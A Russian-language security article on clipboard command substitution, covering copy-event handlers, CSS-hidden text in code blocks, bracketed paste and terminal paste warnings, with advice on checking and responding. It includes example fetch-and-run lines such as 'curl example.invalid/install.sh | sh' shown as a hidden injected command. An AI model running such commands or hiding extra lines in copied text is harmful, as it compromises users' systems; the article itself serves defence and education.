Перейти к содержимому

Подмена команд при копировании с сайта: чем опасен терминал и как защититься

Вы скопировали команду с сайта, но в буфер попало другое: как работает подмена и чем опасен терминал

Инструкция на сайте выглядит безопасно: пользователь выделяет команду, нажимает "Копировать", вставляет текст в терминал и готовится подтвердить выполнение. Однако отображаемая строка не всегда совпадает с содержимым буфера обмена. Веб-страница способна показать один текст, а передать при копировании совершенно другой - в том числе скрытую команду.

Проблема особенно опасна для системных администраторов и разработчиков. Они часто работают с командами, использующими `sudo`, скачивают установочные скрипты и запускают их через интерпретатор. Если в буфер попадёт дополнительная инструкция, последствия могут проявиться ещё до того, как пользователь поймёт, что произошло.

Как сайт подменяет содержимое буфера

У страницы есть несколько способов повлиять на результат копирования. Первый связан с обработчиком события `copy`. Когда пользователь выделяет текст и нажимает сочетание клавиш, браузер сообщает странице о копировании. JavaScript-код может перехватить это событие и записать в буфер собственное значение.

На экране при этом останется исходная команда:

```bash
sudo apt install htop
```

Но фактически в буфере может оказаться другой текст, например:

```bash
sudo apt install htop
curl example.invalid/install.sh | sh
```

Внешне блок кода не изменится. Пользователь, который не проверяет вставленный текст перед выполнением, может даже не заметить подмену.

Похожим образом работают кнопки "Скопировать" рядом с примерами кода. Обычно они вызывают JavaScript-функцию `navigator.clipboard.writeText(...)`. В неё можно передать любую строку - не обязательно ту, которая видна посетителю. Поэтому наличие специальной кнопки не гарантирует, что будет скопирован именно отображаемый фрагмент.

Скрытый текст внутри блока кода

JavaScript для подмены не обязателен. Часть содержимого можно спрятать средствами HTML и CSS, сохранив его внутри того же элемента, что и видимая команда. Например, дополнительная строка может быть вынесена за границы области просмотра или оформлена так, чтобы пользователь её не замечал.

Для этого применяют:

- нулевой размер шрифта;
- цвет текста, совпадающий с цветом фона;
- `opacity: 0`;
- `clip-path`;
- отрицательное позиционирование;
- элементы, расположенные за пределами экрана.

Если скрытый фрагмент остаётся частью копируемого элемента, он может попасть в буфер вместе с видимой командой. В результате пользователь выделяет короткую строку, а вставляет многострочный текст.

Почему терминал представляет особую опасность

Главная проблема - перевод строки, который может находиться между видимой и скрытой командами. Поведение при вставке зависит от терминала, оболочки и их настроек.

В современных конфигурациях часто используется режим bracketed paste. Он оборачивает вставляемый текст в специальные служебные маркеры. Оболочка воспринимает такой фрагмент как единый блок и обычно не запускает команды автоматически. Это распространённое поведение в Bash с Readline 8.1, Zsh и Fish.

Но защита не означает, что риск исчезает. Вторая команда может оказаться в строке ввода за пределами видимой области. Если пользователь нажмёт Enter, не проверив весь текст, оболочка выполнит и её.

При отключённом или неподдерживаемом bracketed paste перевод строки может интерпретироваться как нажатие Enter. Тогда дополнительные команды запускаются сразу. Такое возможно в старых версиях Readline, при настройке `set enable-bracketed-paste off`, в некоторых последовательных консолях, TUI-приложениях и нестандартных терминальных средах.

Иными словами, скрытая строка опасна не потому, что её не видно на веб-странице, а потому, что терминал способен превратить её в исполняемую инструкцию.

Как проверить настройки Bash

Состояние bracketed paste в Bash можно посмотреть командой:

```bash
bind -v | grep bracketed
```

Ожидаемый результат:

```text
set enable-bracketed-paste on
```

Если параметр отключён, многострочная вставка может обрабатываться как последовательность отдельных вводов. Включение режима снижает вероятность автоматического запуска команд, хотя не отменяет необходимость проверять буфер.

Полезно также выяснить, как именно ведёт себя конкретный терминал. Разные приложения могут по-разному обрабатывать многострочный текст, даже если используется одна и та же оболочка.

Включите предупреждение о многострочной вставке

Многие терминальные приложения умеют показывать предупреждение перед вставкой нескольких строк. Такая функция особенно полезна, если команда должна быть однострочной.

В iTerm2 предусмотрена настройка вроде "Warn when pasting multiline text". В Windows Terminal за предупреждение отвечает параметр `multiLinePasteWarning`; в стандартной конфигурации он обычно включён. В GNOME Terminal и Konsole название и наличие аналогичного переключателя могут зависеть от версии приложения.

Отключать такие предупреждения без необходимости не стоит. Они не анализируют безопасность команды, но помогают заметить сам факт, что в буфере находится больше одной строки.

Безопасная проверка перед выполнением

Наиболее надёжная привычка - сначала вставлять команды в текстовый редактор, а не в рабочий терминал. В редакторе проще увидеть полный текст, переводы строк и дополнительные символы. Если включить отображение непечатаемых знаков, станут заметны пробелы, табуляция и переносы строк.

Можно использовать временный файл:

```bash
cat > /tmp/check-command.txt
```

Однако при таком способе тоже нужно помнить, что завершение ввода сочетанием клавиш передаёт текст оболочке. Для обычной проверки удобнее открыть редактор и вставить содержимое туда напрямую.

Если команда уже попала в терминал, не спешите нажимать Enter. Нажмите `End` или `Ctrl+E`, чтобы перейти в конец строки, затем внимательно просмотрите весь ввод. В длинной строке можно использовать стрелки, сочетания для перемещения по словам или временно увеличить размер окна терминала.

Что делать после подозрительной вставки

Если команда случайно выполнилась, первым делом стоит посмотреть историю:

```bash
history | tail -5
```

Но история не всегда показывает полную картину. Команда могла изменить настройки, создать пользователя, загрузить файл или удалить следы своей работы. Особенно опасны конструкции вида:

```bash
curl ... | sh
```

или:

```bash
wget ... -O- | bash
```

Они передают загруженный из сети текст непосредственно интерпретатору. В такой ситуации необходимо проверить процессы, сетевые соединения, недавно изменённые файлы, задания планировщика, настройки SSH и журналы системы. Для привилегированных команд может потребоваться полноценный аудит хоста.

Если есть основания полагать, что выполнен вредоносный скрипт, безопаснее изолировать машину от сети и проводить проверку с доверенного носителя или другого компьютера.

Можно ли проверить сайт заранее

Полностью исключить риск до копирования нельзя. Обработчик события запускается именно в момент операции копирования, поэтому предварительный просмотр страницы не всегда покажет, что будет записано в буфер.

Тем не менее полезно обращать внимание на источник инструкции. Подозрение должны вызывать:

- команды с `sudo`, `curl`, `wget` и передачей вывода в `sh` или `bash`;
- инструкции, требующие отключить защиту системы;
- отсутствие объяснения каждого фрагмента команды;
- сокращённые ссылки и неизвестные домены;
- просьбы запускать код от имени администратора без проверки;
- чрезмерно сложные однострочники.

Лучше скачать скрипт отдельно, открыть его в редакторе, изучить содержимое и только после этого запускать. Ещё безопаснее - использовать официальные пакеты операционной системы, репозитории проекта или контейнер с ограниченными правами.

Практическая проверка механизма

Чтобы убедиться, как работает подобная атака, можно создать локальную тестовую HTML-страницу с видимой командой и скрытым текстом. После копирования следует вставить результат в редактор или вывести его безопасным способом, не передавая в оболочку.

Такой эксперимент показывает важную особенность: визуальное выделение и фактическое содержимое буфера - не одно и то же. Браузер отображает страницу, но правила копирования может контролировать её код.

Главное правило

Кнопка "Скопировать" не является гарантией безопасности. Сайт может изменить буфер через JavaScript, а HTML и CSS - добавить в копируемый блок невидимые символы или строки. Терминал при этом способен выполнить лишнюю команду автоматически либо сохранить её до первого нажатия Enter.

Поэтому любую команду из браузера следует сначала вставлять в редактор, проверять целиком и только затем переносить в терминал. Bracketed paste, предупреждения о многострочной вставке и аккуратная работа без прав администратора заметно снижают риск, но не заменяют внимательность пользователя.

Прокрутить вверх